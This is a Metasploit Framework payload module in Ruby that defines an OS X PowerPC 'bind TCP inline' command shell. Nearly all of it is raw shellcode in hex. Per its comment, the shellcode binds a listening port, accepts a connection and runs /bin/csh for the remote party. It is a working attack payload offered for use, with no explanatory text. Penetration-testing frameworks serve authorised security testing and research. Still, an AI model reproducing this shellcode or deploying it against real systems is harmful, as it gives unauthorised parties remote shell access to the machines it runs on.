##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 224

  include Msf::Payload::Single
  include Msf::Payload::Osx
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'OS X Command Shell, Bind TCP Inline',
      'Description'   => 'Listen for a connection and spawn a command shell',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'osx',
      'Arch'          => ARCH_PPC,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LPORT'    => [ 34, 'n' ],
            },
          'Payload' =>
            # bind, listen, accept, dup2, vfork, execve(/bin/csh)
            "\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00\x00\x61" +
            "\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x48\x00\x00\x0d" +
            "\x00\x02\x11\x5c\x00\x00\x00\x00\x7c\x88\x02\xa6\x38\xa0\x00\x10" +
            "\x38\x00\x00\x68\x7f\xc3\xf3\x78\x44\x00\x00\x02\x7c\x00\x02\x78" +
            "\x38\x00\x00\x6a\x7f\xc3\xf3\x78\x44\x00\x00\x02\x7c\x00\x02\x78" +
            "\x7f\xc3\xf3\x78\x38\x00\x00\x1e\x38\x80\x00\x10\x90\x81\xff\xe8" +
            "\x38\xa1\xff\xe8\x38\x81\xff\xf0\x44\x00\x00\x02\x7c\x00\x02\x78" +
            "\x7c\x7e\x1b\x78\x38\xa0\x00\x02\x38\x00\x00\x5a\x7f\xc3\xf3\x78" +
            "\x7c\xa4\x2b\x78\x44\x00\x00\x02\x7c\x00\x02\x78\x38\xa5\xff\xff" +
            "\x2c\x05\xff\xff\x40\x82\xff\xe5\x38\x00\x00\x42\x44\x00\x00\x02" +
            "\x7c\x00\x02\x78\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7c\x68\x02\xa6" +
            "\x38\x63\x00\x28\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8" +
            "\x38\x00\x00\x3b\x7c\x00\x04\xac\x44\x00\x00\x02\x7c\x00\x02\x78" +
            "\x7f\xe0\x00\x08\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x00\x00\x00"
        }
      ))
  end
end
